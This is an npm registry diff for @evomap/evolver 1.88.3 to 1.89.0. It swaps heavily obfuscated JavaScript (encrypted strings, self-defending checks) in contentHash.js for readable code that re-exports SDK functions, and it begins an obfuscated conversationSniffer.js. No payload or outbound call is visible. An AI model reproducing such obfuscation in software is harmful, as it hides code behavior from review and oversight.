@evomap/evolver 1.88.3 → 1.89.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.cursor/BUGBOT.md +182 -0
- package/.env.example +68 -0
- package/.git-commit-guard-token +1 -0
- package/.github/CODEOWNERS +63 -0
- package/.github/ISSUE_TEMPLATE/good_first_issue.md +23 -0
- package/.github/pull_request_template.md +45 -0
- package/.github/workflows/test.yml +75 -0
- package/CHANGELOG.md +1123 -0
- package/README.md +86 -543
- package/README.public.md +594 -0
- package/SECURITY.md +108 -0
- package/assets/gep/events.jsonl +3 -0
- package/examples/atp-consumer-quickstart.md +100 -0
- package/examples/hello-world.md +38 -0
- package/index.js +30 -1
- package/package.json +5 -15
- package/proxy-package.json +39 -0
- package/public.manifest.json +141 -0
- package/src/evolve/guards.js +721 -1
- package/src/evolve/pipeline/collect.js +1283 -1
- package/src/evolve/pipeline/dispatch.js +421 -1
- package/src/evolve/pipeline/enrich.js +434 -1
- package/src/evolve/pipeline/hub.js +319 -1
- package/src/evolve/pipeline/select.js +274 -1
- package/src/evolve/pipeline/signals.js +206 -1
- package/src/evolve/utils.js +264 -1
- package/src/evolve.js +350 -1
- package/src/gep/a2aProtocol.js +4395 -1
- package/src/gep/assetCallLog.js +30 -2
- package/src/gep/autoDistillConv.js +205 -1
- package/src/gep/autoDistillLlm.js +315 -1
- package/src/gep/candidateEval.js +92 -1
- package/src/gep/candidates.js +198 -1
- package/src/gep/contentHash.js +30 -1
- package/src/gep/conversationSniffer.js +266 -1
- package/src/gep/crypto.js +89 -1
- package/src/gep/curriculum.js +163 -1
- package/src/gep/deviceId.js +218 -1
- package/src/gep/envFingerprint.js +118 -1
- package/src/gep/epigenetics.js +31 -1
- package/src/gep/execBridge.js +711 -1
- package/src/gep/explore.js +289 -1
- package/src/gep/hash.js +15 -1
- package/src/gep/hubFetch.js +359 -1
- package/src/gep/hubReview.js +207 -1
- package/src/gep/hubSearch.js +526 -1
- package/src/gep/hubVerify.js +306 -1
- package/src/gep/learningSignals.js +89 -1
- package/src/gep/memoryGraph.js +1374 -1
- package/src/gep/memoryGraphAdapter.js +203 -1
- package/src/gep/mutation.js +203 -1
- package/src/gep/narrativeMemory.js +108 -1
- package/src/gep/oauthLogin.js +143 -0
- package/src/gep/openPRRegistry.js +205 -1
- package/src/gep/personality.js +423 -1
- package/src/gep/policyCheck.js +599 -1
- package/src/gep/prompt.js +836 -1
- package/src/gep/recallInject.js +409 -1
- package/src/gep/recallVerifier.js +318 -1
- package/src/gep/reflection.js +177 -1
- package/src/gep/schemas/capsule.js +26 -0
- package/src/gep/selector.js +602 -1
- package/src/gep/skillDistiller.js +1294 -1
- package/src/gep/solidify.js +1699 -1
- package/src/gep/strategy.js +136 -1
- package/src/gep/tokenSavings.js +88 -0
- package/src/gep/workspaceKeychain.js +174 -1
- package/src/proxy/extensions/traceControl.js +99 -1
- package/src/proxy/index.js +36 -6
- package/src/proxy/inject.js +52 -1
- package/src/proxy/trace/extractor.js +534 -1
- package/src/proxy/trace/usage.js +105 -0
- package/CONTRIBUTING.md +0 -11
- package/assets/cover.png +0 -0
- package/scripts/a2a_export.js +0 -63
- package/scripts/a2a_ingest.js +0 -79
- package/scripts/a2a_promote.js +0 -118
- package/scripts/analyze_by_skill.js +0 -121
- package/scripts/build_binaries.js +0 -479
- package/scripts/check-changelog.js +0 -166
- package/scripts/extract_log.js +0 -85
- package/scripts/generate_history.js +0 -75
- package/scripts/gep_append_event.js +0 -96
- package/scripts/gep_personality_report.js +0 -234
- package/scripts/human_report.js +0 -147
- package/scripts/recall-verify-report.js +0 -234
- package/scripts/recover_loop.js +0 -61
- package/scripts/seed-merchants.js +0 -91
- package/scripts/suggest_version.js +0 -89
- package/scripts/validate-modules.js +0 -38
- package/scripts/validate-suite.js +0 -78
- package/skills/index.json +0 -14
- /package/assets/gep/{genes.seed.json → genes.json} +0 -0
- /package/{skills → bundled-skills}/_meta/SKILL.md +0 -0
package/src/gep/contentHash.js
CHANGED
|
@@ -1 +1,30 @@
|
|
|
1
|
-
function _0xbe2a(){const _0x32941d=['\x57\x35\x48\x7a\x57\x51\x69\x64\x65\x64\x7a\x4b\x57\x35\x47','\x57\x36\x69\x31\x44\x75\x76\x66\x61\x48\x61\x74','\x57\x4f\x74\x63\x48\x6d\x6b\x52\x77\x53\x6f\x53\x57\x34\x74\x63\x4c\x53\x6b\x44\x57\x50\x6a\x4f\x57\x35\x71\x75\x57\x35\x61','\x57\x51\x50\x68\x43\x33\x64\x64\x56\x43\x6f\x67\x57\x52\x78\x64\x4e\x53\x6f\x36\x57\x35\x34','\x6b\x43\x6b\x4e\x57\x50\x30\x6c','\x66\x53\x6f\x7a\x75\x64\x52\x64\x4e\x6d\x6f\x67\x67\x43\x6f\x31\x79\x4e\x2f\x63\x51\x64\x66\x2f','\x66\x43\x6f\x32\x57\x34\x2f\x63\x4c\x43\x6b\x67\x41\x53\x6b\x59\x6c\x6d\x6f\x4c','\x57\x50\x72\x48\x57\x35\x74\x63\x4a\x49\x30','\x57\x34\x47\x6e\x70\x78\x70\x64\x52\x77\x34','\x57\x52\x66\x39\x57\x34\x46\x64\x55\x48\x6c\x64\x51\x72\x30','\x57\x37\x35\x57\x57\x50\x70\x64\x4c\x53\x6f\x49\x6d\x72\x4a\x63\x51\x61','\x57\x37\x42\x64\x4a\x63\x4e\x63\x4c\x38\x6b\x51\x72\x76\x37\x64\x55\x53\x6f\x2b\x6b\x61','\x57\x50\x56\x63\x53\x64\x53\x46\x44\x43\x6f\x32\x57\x35\x4c\x67\x43\x61','\x57\x37\x48\x2b\x57\x50\x47','\x65\x43\x6f\x42\x57\x34\x33\x63\x53\x62\x4c\x43\x57\x34\x2f\x64\x55\x38\x6f\x78','\x57\x4f\x5a\x63\x56\x43\x6f\x43\x75\x47\x76\x32','\x57\x4f\x2f\x63\x47\x49\x37\x64\x55\x6d\x6b\x62\x72\x74\x4e\x64\x56\x47','\x57\x37\x4b\x68\x6f\x31\x37\x64\x51\x61','\x57\x4f\x37\x63\x51\x38\x6b\x32\x57\x37\x31\x76\x6c\x76\x35\x71','\x57\x34\x56\x64\x54\x53\x6b\x62\x57\x36\x76\x75\x62\x4d\x44\x59','\x45\x53\x6b\x50\x57\x36\x74\x64\x50\x53\x6b\x34\x6c\x43\x6f\x72\x57\x35\x57\x64\x6e\x71','\x46\x6d\x6b\x56\x57\x52\x6c\x63\x53\x53\x6b\x48\x6b\x43\x6f\x45\x57\x37\x53','\x57\x51\x61\x70\x57\x36\x76\x36\x57\x52\x70\x64\x52\x65\x4c\x35\x6a\x38\x6f\x48\x66\x6d\x6f\x47\x62\x57','\x6e\x6d\x6b\x36\x45\x38\x6b\x41\x57\x51\x79','\x43\x74\x5a\x64\x54\x6d\x6b\x4b\x57\x35\x30\x59\x57\x4f\x52\x63\x4d\x77\x38\x2f\x57\x35\x79','\x57\x52\x44\x4f\x57\x34\x46\x63\x55\x58\x47','\x78\x53\x6f\x69\x57\x34\x74\x63\x56\x53\x6b\x30\x6f\x6d\x6f\x32\x57\x52\x74\x64\x48\x38\x6b\x65\x57\x52\x65\x75\x57\x37\x57','\x57\x50\x6d\x7a\x6f\x6d\x6b\x31\x6d\x59\x56\x63\x56\x67\x61','\x57\x35\x30\x4f\x57\x50\x5a\x63\x4a\x43\x6f\x66\x57\x51\x4a\x63\x4b\x78\x4b','\x57\x4f\x4a\x64\x4c\x53\x6b\x4c\x57\x34\x62\x55\x67\x4b\x69','\x44\x6d\x6f\x70\x57\x34\x4e\x63\x50\x6d\x6b\x4b\x43\x32\x46\x63\x47\x61','\x57\x36\x48\x48\x57\x4f\x4a\x64\x4d\x53\x6f\x47\x70\x47','\x57\x37\x5a\x64\x4a\x73\x4e\x63\x4c\x6d\x6b\x70\x76\x4c\x42\x64\x4d\x43\x6f\x59\x64\x61','\x6e\x53\x6b\x36\x66\x53\x6b\x34\x75\x47\x52\x63\x4f\x67\x44\x48\x57\x50\x70\x64\x54\x57','\x57\x35\x4e\x64\x4b\x4e\x68\x63\x4f\x6d\x6f\x45\x68\x32\x37\x64\x52\x32\x4a\x64\x49\x38\x6f\x50\x71\x6d\x6f\x50','\x57\x52\x33\x63\x53\x43\x6b\x50\x57\x36\x2f\x63\x52\x76\x2f\x64\x49\x32\x66\x32\x57\x36\x66\x39\x57\x50\x74\x63\x49\x57','\x46\x43\x6f\x6a\x57\x4f\x4a\x64\x51\x38\x6b\x36\x76\x67\x56\x63\x53\x43\x6f\x49\x67\x57','\x41\x4d\x53\x37\x64\x53\x6f\x73\x57\x50\x34\x57\x6f\x75\x57','\x46\x53\x6b\x75\x57\x51\x72\x6b','\x7a\x6d\x6f\x37\x76\x43\x6f\x4c\x65\x62\x56\x63\x4c\x71','\x44\x53\x6f\x2f\x57\x35\x71\x4f\x46\x4d\x66\x48\x57\x35\x46\x64\x48\x61'];_0xbe2a=function(){return _0x32941d;};return _0xbe2a();}const _0x214c83=_0x3541;(function(_0x208853,_0x5288dc){const _0x31684c=_0x3541,_0x3fb87b=_0x208853();while(!![]){try{const _0x58b7c2=parseInt(_0x31684c(0x158,'\x29\x54\x66\x32'))/(0x1019+0x705+-0x171d*0x1)*(-parseInt(_0x31684c(0x13f,'\x31\x51\x65\x52'))/(-0x1*-0x878+0x2636+-0x2eac))+parseInt(_0x31684c(0x136,'\x48\x75\x74\x4c'))/(0x138+-0x22fb+-0x106*-0x21)*(parseInt(_0x31684c(0x145,'\x29\x62\x76\x49'))/(-0x15b*0x1+0xab9+-0x156*0x7))+-parseInt(_0x31684c(0x157,'\x23\x38\x5e\x37'))/(-0x3b9*0x2+-0xf56+-0xd*-0x1c1)*(parseInt(_0x31684c(0x13e,'\x62\x52\x36\x4c'))/(-0x153*-0x1b+-0x1*-0x1981+0x3d3c*-0x1))+parseInt(_0x31684c(0x150,'\x29\x62\x76\x49'))/(0x1*-0x212e+-0x9f0+0x2b25)*(parseInt(_0x31684c(0x156,'\x70\x4b\x78\x25'))/(-0x2*-0xa9b+-0x321+-0x120d*0x1))+parseInt(_0x31684c(0x139,'\x4a\x35\x42\x67'))/(-0x214a+-0x33+0x2186)*(parseInt(_0x31684c(0x14b,'\x5d\x58\x47\x74'))/(-0x1eae+0xca3*0x1+-0x1*-0x1215))+parseInt(_0x31684c(0x155,'\x61\x52\x55\x54'))/(0x1f2e+0x1ca1+-0x64*0x99)+-parseInt(_0x31684c(0x138,'\x4e\x4d\x67\x42'))/(-0x2225*0x1+0x1318+-0x1*-0xf19)*(parseInt(_0x31684c(0x151,'\x23\x38\x5e\x37'))/(0xb6a*0x2+-0x1*-0x135d+-0x2a24));if(_0x58b7c2===_0x5288dc)break;else _0x3fb87b['push'](_0x3fb87b['shift']());}catch(_0x2b55d7){_0x3fb87b['push'](_0x3fb87b['shift']());}}}(_0xbe2a,0x1*-0x9a6b7+0xa5b4b+0x4bdb8));function _0x3541(_0x43ab95,_0x206adb){_0x43ab95=_0x43ab95-(0x12a2+0xd82+-0x1ef2);const _0x26d7c5=_0xbe2a();let _0x208853=_0x26d7c5[_0x43ab95];if(_0x3541['\x5a\x41\x4f\x69\x76\x61']===undefined){var _0x5288dc=function(_0x28f4c5){const _0x514192='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x4ce6b4='',_0x52dd29='',_0x2800cb=_0x4ce6b4+_0x5288dc,_0x53da5f=(''+function(){return 0x2*-0xeab+-0x2*-0x248+0x3*0x842;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(-0x1*-0xc6d+-0x1a5*0xd+0x8f5);for(let _0x26c2ad=0x1ea0+0x16e2+-0x3582*0x1,_0x6c7ef1,_0x30cc9c,_0x59fd48=0x2*0x923+-0x167b+0x435;_0x30cc9c=_0x28f4c5['\x63\x68\x61\x72\x41\x74'](_0x59fd48++);~_0x30cc9c&&(_0x6c7ef1=_0x26c2ad%(0x139*-0x1+-0x9b9+-0x7a*-0x17)?_0x6c7ef1*(0x85a+0xe76+-0x1690)+_0x30cc9c:_0x30cc9c,_0x26c2ad++%(-0x11b2*-0x2+-0x80*-0x29+-0x37e0))?_0x4ce6b4+=_0x53da5f||_0x2800cb['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x59fd48+(-0x9*0x16d+-0x1*-0xa8f+0x250))-(0x253a+0x1096+-0x1ae3*0x2)!==-0xbe4+0x2661+0x1a7d*-0x1?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x78d*0x1+0x1e3a+-0x24c8&_0x6c7ef1>>(-(0x1f81+0xe53+-0x2dd2)*_0x26c2ad&0x1a*0x4+0x85*-0x49+0x55d*0x7)):_0x26c2ad:0x1da5+0x1*0xadb+0x24*-0x120){_0x30cc9c=_0x514192['\x69\x6e\x64\x65\x78\x4f\x66'](_0x30cc9c);}for(let _0x315fc6=-0x284+-0x4f1*-0x7+0x17*-0x165,_0x598595=_0x4ce6b4['\x6c\x65\x6e\x67\x74\x68'];_0x315fc6<_0x598595;_0x315fc6++){_0x52dd29+='\x25'+('\x30\x30'+_0x4ce6b4['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x315fc6)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x1*0x15fd+0x26b9+-0x10ac))['\x73\x6c\x69\x63\x65'](-(-0x87e+0x236*0x1+0x64a));}return decodeURIComponent(_0x52dd29);};const _0x3af690=function(_0x5b0ab6,_0x235796){let _0x1d0a57=[],_0x3884fd=0x21d4+0x20b8+-0x428c,_0x39a84b,_0x511fb5='';_0x5b0ab6=_0x5288dc(_0x5b0ab6);let _0x1766cb;for(_0x1766cb=-0x1bf*-0x1+0x2142+-0x2301;_0x1766cb<-0x852+-0x1*-0x1393+-0xa41;_0x1766cb++){_0x1d0a57[_0x1766cb]=_0x1766cb;}for(_0x1766cb=0x67f*0x5+0x2c6+0x13*-0x1db;_0x1766cb<0xd*-0xa3+0xff6+-0x1d*0x3b;_0x1766cb++){_0x3884fd=(_0x3884fd+_0x1d0a57[_0x1766cb]+_0x235796['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x1766cb%_0x235796['\x6c\x65\x6e\x67\x74\x68']))%(-0x83d+-0x9*0x1d+0xa42),_0x39a84b=_0x1d0a57[_0x1766cb],_0x1d0a57[_0x1766cb]=_0x1d0a57[_0x3884fd],_0x1d0a57[_0x3884fd]=_0x39a84b;}_0x1766cb=0x1*-0xaff+-0x209b*0x1+-0x2*-0x15cd,_0x3884fd=0x3*0x39+0x79d*-0x5+0x2566;for(let _0x10a6f5=-0x1b5+-0x2*0x45d+0xa6f;_0x10a6f5<_0x5b0ab6['\x6c\x65\x6e\x67\x74\x68'];_0x10a6f5++){_0x1766cb=(_0x1766cb+(-0x36c+0xb*0x1b7+-0x34*0x4c))%(-0x1176+0x7ee*0x1+-0x1*-0xa88),_0x3884fd=(_0x3884fd+_0x1d0a57[_0x1766cb])%(-0x168a*0x1+-0x1b89+0x3313),_0x39a84b=_0x1d0a57[_0x1766cb],_0x1d0a57[_0x1766cb]=_0x1d0a57[_0x3884fd],_0x1d0a57[_0x3884fd]=_0x39a84b,_0x511fb5+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x5b0ab6['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x10a6f5)^_0x1d0a57[(_0x1d0a57[_0x1766cb]+_0x1d0a57[_0x3884fd])%(0xc18+0x1f1*-0xc+0xc34)]);}return _0x511fb5;};_0x3541['\x55\x49\x79\x7a\x44\x78']=_0x3af690,_0x3541['\x6d\x44\x5a\x67\x63\x74']={},_0x3541['\x5a\x41\x4f\x69\x76\x61']=!![];}const _0x3fb87b=_0x26d7c5[-0x195a+0x1b2d+-0x1d3],_0x58b7c2=_0x43ab95+_0x3fb87b,_0x2b55d7=_0x3541['\x6d\x44\x5a\x67\x63\x74'][_0x58b7c2];if(!_0x2b55d7){if(_0x3541['\x69\x72\x4b\x63\x7a\x52']===undefined){const _0x485af5=function(_0x533d61){this['\x57\x49\x42\x4d\x63\x61']=_0x533d61,this['\x4e\x6c\x50\x6f\x55\x4f']=[0x1711+-0x3d*0x65+0x101*0x1,-0x1*-0x11ea+0x18b3*-0x1+0x6c9,-0x27c*0x4+0x3b+-0x1*-0x9b5],this['\x50\x6d\x43\x63\x58\x50']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x59\x69\x53\x6e\x79\x4f']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x78\x4e\x74\x6d\x62\x52']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x485af5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x4e\x42\x79\x47\x4a\x78']=function(){const _0x37c20a=new RegExp(this['\x59\x69\x53\x6e\x79\x4f']+this['\x78\x4e\x74\x6d\x62\x52']),_0x237e44=_0x37c20a['\x74\x65\x73\x74'](this['\x50\x6d\x43\x63\x58\x50']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x4e\x6c\x50\x6f\x55\x4f'][0x700+-0x33*0x11+-0x39c]:--this['\x4e\x6c\x50\x6f\x55\x4f'][-0x33+-0x1066+0x1099];return this['\x57\x4f\x61\x68\x4e\x77'](_0x237e44);},_0x485af5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x57\x4f\x61\x68\x4e\x77']=function(_0x428e81){if(!Boolean(~_0x428e81))return _0x428e81;return this['\x4b\x4a\x46\x73\x72\x52'](this['\x57\x49\x42\x4d\x63\x61']);},_0x485af5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x4b\x4a\x46\x73\x72\x52']=function(_0x17539a){for(let _0x4985f6=0xca3*0x1+-0x1*0x2152+0x423*0x5,_0x192817=this['\x4e\x6c\x50\x6f\x55\x4f']['\x6c\x65\x6e\x67\x74\x68'];_0x4985f6<_0x192817;_0x4985f6++){this['\x4e\x6c\x50\x6f\x55\x4f']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x192817=this['\x4e\x6c\x50\x6f\x55\x4f']['\x6c\x65\x6e\x67\x74\x68'];}return _0x17539a(this['\x4e\x6c\x50\x6f\x55\x4f'][-0xd*0xbf+-0x216e+0x2b21*0x1]);},(''+function(){return-0x1*0x158f+0x16*-0x4d+0x1c2d*0x1;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(0xe5e+-0x5e4+0x1*-0x879)&&new _0x485af5(_0x3541)['\x4e\x42\x79\x47\x4a\x78'](),_0x3541['\x69\x72\x4b\x63\x7a\x52']=!![];}_0x208853=_0x3541['\x55\x49\x79\x7a\x44\x78'](_0x208853,_0x206adb),_0x3541['\x6d\x44\x5a\x67\x63\x74'][_0x58b7c2]=_0x208853;}else _0x208853=_0x2b55d7;return _0x208853;}const _0x5e8753=(function(){let _0x3fd18c=!![];return function(_0x4c3176,_0xc6ffe){const _0x2f9608=_0x3fd18c?function(){const _0x148aba=_0x3541;if(_0xc6ffe){const _0x56236b=_0xc6ffe[_0x148aba(0x14c,'\x34\x48\x4b\x43')](_0x4c3176,arguments);return _0xc6ffe=null,_0x56236b;}}:function(){};return _0x3fd18c=![],_0x2f9608;};}()),_0x1baecc=_0x5e8753(this,function(){const _0x3aecaa=_0x3541,_0x412c36={};_0x412c36[_0x3aecaa(0x14a,'\x77\x51\x5e\x46')]='\x28\x28\x28\x2e\x2b\x29\x2b\x29'+_0x3aecaa(0x159,'\x69\x6d\x47\x59');const _0xc64543=_0x412c36;return _0x1baecc[_0x3aecaa(0x134,'\x79\x67\x50\x65')]()['\x73\x65\x61\x72\x63\x68'](_0xc64543[_0x3aecaa(0x13a,'\x34\x48\x4b\x43')])[_0x3aecaa(0x146,'\x29\x62\x76\x49')]()[_0x3aecaa(0x133,'\x5d\x31\x37\x45')+_0x3aecaa(0x140,'\x75\x71\x43\x21')](_0x1baecc)[_0x3aecaa(0x142,'\x4a\x51\x5b\x26')](_0xc64543[_0x3aecaa(0x144,'\x4e\x69\x59\x4c')]);});_0x1baecc();const {SCHEMA_VERSION:_0x2004ac,canonicalize:_0x5ef9e9,computeAssetId:_0x59a680,verifyAssetId:_0x38e743}=require('\x40\x65\x76\x6f\x6d\x61\x70\x2f'+_0x214c83(0x13c,'\x34\x48\x4b\x43')),_0x5494f6={};_0x5494f6[_0x214c83(0x13d,'\x23\x62\x35\x23')+_0x214c83(0x152,'\x23\x62\x35\x23')]=_0x2004ac,_0x5494f6[_0x214c83(0x143,'\x61\x52\x55\x54')+_0x214c83(0x137,'\x73\x61\x38\x6d')]=_0x5ef9e9,_0x5494f6[_0x214c83(0x14f,'\x57\x64\x48\x68')+_0x214c83(0x13b,'\x4e\x69\x59\x4c')]=_0x59a680,_0x5494f6[_0x214c83(0x14e,'\x62\x21\x5a\x38')+'\x73\x65\x74\x49\x64']=_0x38e743,module[_0x214c83(0x15a,'\x42\x31\x5d\x6d')]=_0x5494f6;
|
|
1
|
+
// Content-addressable hashing for GEP assets.
|
|
2
|
+
//
|
|
3
|
+
// As of v1.84.0 the protocol primitives (SCHEMA_VERSION, canonicalize,
|
|
4
|
+
// computeAssetId, verifyAssetId) live in @evomap/gep-sdk. This module
|
|
5
|
+
// is a thin CommonJS facade so the ~13 internal callsites that
|
|
6
|
+
// `require('./contentHash')` keep working unchanged.
|
|
7
|
+
//
|
|
8
|
+
// Why move them out: every implementation that participates in GEP
|
|
9
|
+
// (this engine, gep-mcp-server, evox-Rust, the Hub backend) needs an
|
|
10
|
+
// authoritative copy of the canonicalize / computeAssetId algorithm.
|
|
11
|
+
// Hand-maintaining four copies caused the v1.80.8 "explore" enum
|
|
12
|
+
// drift incident; consolidating into the SDK makes that class of bug
|
|
13
|
+
// structurally impossible. If you find yourself wanting to inline the
|
|
14
|
+
// algorithm here again, stop -- bump @evomap/gep-sdk instead.
|
|
15
|
+
//
|
|
16
|
+
// Implementation note: @evomap/gep-sdk is published as ESM
|
|
17
|
+
// (`"type": "module"`). Node 22 supports `require()` of synchronous
|
|
18
|
+
// ESM packages, but only on 22.12.0 and later (the
|
|
19
|
+
// `--experimental-require-module` flag was unflagged in that
|
|
20
|
+
// release). `package.json#engines.node` is therefore pinned to
|
|
21
|
+
// `>=22.12` so the call below works in every supported runtime.
|
|
22
|
+
|
|
23
|
+
const { SCHEMA_VERSION, canonicalize, computeAssetId, verifyAssetId } = require('@evomap/gep-sdk');
|
|
24
|
+
|
|
25
|
+
module.exports = {
|
|
26
|
+
SCHEMA_VERSION,
|
|
27
|
+
canonicalize,
|
|
28
|
+
computeAssetId,
|
|
29
|
+
verifyAssetId,
|
|
30
|
+
};
|
|
@@ -1 +1,266 @@
|
|
|
1
|
-
const _0x2dcb32=_0x38a9;(function(_0x346f58,_0x406cdb){const _0x1df50f=_0x38a9,_0x12569b=_0x346f58();while(!![]){try{const _0x1cc8fc=parseInt(_0x1df50f(0x250,'\x32\x63\x63\x46'))/(-0x92*-0x3+0x1049+-0x11fe)+parseInt(_0x1df50f(0xfb,'\x5b\x45\x44\x44'))/(0xeb9*-0x1+0x14f*-0x2+-0x1*-0x1159)*(parseInt(_0x1df50f(0x192,'\x69\x6d\x5e\x63'))/(-0x149d+-0x5b7+0x1a57))+-parseInt(_0x1df50f(0x16c,'\x31\x6f\x39\x46'))/(0x1df2+0x1022+0x8*-0x5c2)*(parseInt(_0x1df50f(0x11e,'\x67\x68\x42\x23'))/(0x1f47+0xc38+-0x2b7a))+parseInt(_0x1df50f(0x165,'\x45\x55\x5e\x37'))/(0x1b1c+0x182*0x7+0x3*-0xc8c)*(parseInt(_0x1df50f(0x22b,'\x5a\x26\x5b\x72'))/(0x186e+0x134b*0x1+-0x2bb2))+parseInt(_0x1df50f(0x267,'\x5e\x68\x50\x34'))/(0x1782+-0xeae+-0x8cc)+-parseInt(_0x1df50f(0x20b,'\x52\x52\x31\x61'))/(-0x2*0x717+0xb3c+0x2fb*0x1)*(parseInt(_0x1df50f(0x20f,'\x57\x49\x29\x33'))/(0x7d8*-0x3+-0xc*0xd6+-0x219a*-0x1))+parseInt(_0x1df50f(0x10a,'\x56\x31\x23\x57'))/(-0x6*-0x1b6+0x1599+-0x1fd2);if(_0x1cc8fc===_0x406cdb)break;else _0x12569b['push'](_0x12569b['shift']());}catch(_0x384377){_0x12569b['push'](_0x12569b['shift']());}}}(_0x411b,0x1*-0x87707+0x1aa64+0x377*0x4c0));const _0x34938b=(function(){const _0x5494bc=_0x38a9,_0x110659={'\x70\x6e\x4b\x51\x6e':'\x6f\x66\x66','\x47\x4e\x62\x6a\x64':function(_0x3bd38c){return _0x3bd38c();},'\x62\x43\x69\x6d\x71':function(_0x2b4a8c,_0x1c969f){return _0x2b4a8c-_0x1c969f;},'\x44\x79\x56\x61\x76':function(_0x33ccb5,_0x24e43b){return _0x33ccb5===_0x24e43b;},'\x6d\x46\x47\x6b\x6f':_0x5494bc(0x1ca,'\x45\x55\x5e\x37'),'\x44\x77\x61\x72\x72':function(_0x3ea19d,_0x8f0cf9){return _0x3ea19d!==_0x8f0cf9;},'\x71\x6a\x66\x48\x73':_0x5494bc(0x13b,'\x51\x6d\x52\x76')};let _0x48bd8a=!![];return function(_0x881469,_0x28822e){const _0x1586d4=_0x5494bc,_0x170485={'\x71\x71\x4d\x62\x67':_0x110659[_0x1586d4(0x144,'\x35\x55\x66\x28')],'\x45\x65\x4c\x49\x61':function(_0xd073c7){const _0x51f046=_0x1586d4;return _0x110659[_0x51f046(0x10b,'\x4c\x24\x73\x6c')](_0xd073c7);},'\x70\x65\x77\x41\x62':function(_0x30990d,_0x3243f1){const _0x19316f=_0x1586d4;return _0x110659[_0x19316f(0x100,'\x32\x6a\x6a\x51')](_0x30990d,_0x3243f1);},'\x52\x46\x4c\x4b\x6a':function(_0x2446bd,_0xcca0fe){return _0x110659['\x44\x79\x56\x61\x76'](_0x2446bd,_0xcca0fe);},'\x76\x63\x51\x48\x65':_0x110659[_0x1586d4(0x1d0,'\x4b\x6d\x25\x62')],'\x77\x49\x74\x7a\x75':function(_0x514a1d,_0x4511af){const _0x597f74=_0x1586d4;return _0x110659[_0x597f74(0x26f,'\x63\x37\x28\x64')](_0x514a1d,_0x4511af);},'\x4d\x5a\x77\x6a\x7a':_0x110659['\x71\x6a\x66\x48\x73']},_0x5990ca=_0x48bd8a?function(){const _0x3c29bb=_0x1586d4;if(_0x170485[_0x3c29bb(0x24d,'\x67\x68\x42\x23')](_0x170485[_0x3c29bb(0x1a1,'\x63\x39\x62\x41')],_0x170485[_0x3c29bb(0x262,'\x4c\x24\x73\x6c')])){if(_0x28822e){if(_0x170485[_0x3c29bb(0x12f,'\x29\x42\x62\x56')](_0x3c29bb(0x14e,'\x31\x6f\x39\x46'),_0x170485['\x4d\x5a\x77\x6a\x7a']))return _0x24cf33[_0x3c29bb(0x17d,'\x52\x43\x69\x53')](_0xb4bddc(),_0x3c29bb(0x24f,'\x67\x68\x42\x23')+_0x3c29bb(0x214,'\x31\x6f\x39\x46')+_0x3c29bb(0x149,'\x59\x46\x76\x69'));else{const _0x426545=_0x28822e[_0x3c29bb(0x116,'\x52\x32\x6c\x37')](_0x881469,arguments);return _0x28822e=null,_0x426545;}}}else{if(_0x4ac16c===_0x170485[_0x3c29bb(0x155,'\x5b\x45\x44\x44')])return![];const _0x5c338d=_0x4b7ea2||_0x170485['\x45\x65\x4c\x49\x61'](_0x3cb59b),_0x571b88=_0x5c338d['\x6c\x61\x73\x74\x5f\x73\x6e\x69'+_0x3c29bb(0xfe,'\x35\x26\x59\x2a')]||0x1*0x232f+-0xefc+-0x1433;if(_0x170485[_0x3c29bb(0x113,'\x4c\x24\x73\x6c')](_0x5b671c[_0x3c29bb(0x19a,'\x5a\x5a\x69\x74')](),_0x571b88)<_0x89ff6)return![];return!![];}}:function(){};return _0x48bd8a=![],_0x5990ca;};}()),_0x1b5386=_0x34938b(this,function(){const _0x31b823=_0x38a9,_0x49ceac={};_0x49ceac[_0x31b823(0x238,'\x35\x79\x63\x79')]=_0x31b823(0x150,'\x4c\x24\x73\x6c')+_0x31b823(0x269,'\x2a\x79\x37\x7a');const _0x490909=_0x49ceac;return _0x1b5386[_0x31b823(0x218,'\x32\x63\x63\x46')]()[_0x31b823(0x1e5,'\x33\x56\x32\x58')](_0x490909[_0x31b823(0x238,'\x35\x79\x63\x79')])[_0x31b823(0x12d,'\x52\x43\x69\x53')]()[_0x31b823(0x17b,'\x38\x39\x63\x54')+_0x31b823(0x1d5,'\x52\x32\x6c\x37')](_0x1b5386)[_0x31b823(0x1db,'\x73\x4e\x2a\x71')](_0x31b823(0x1c3,'\x52\x52\x31\x61')+_0x31b823(0x135,'\x68\x43\x56\x5d'));});_0x1b5386();'use strict';const 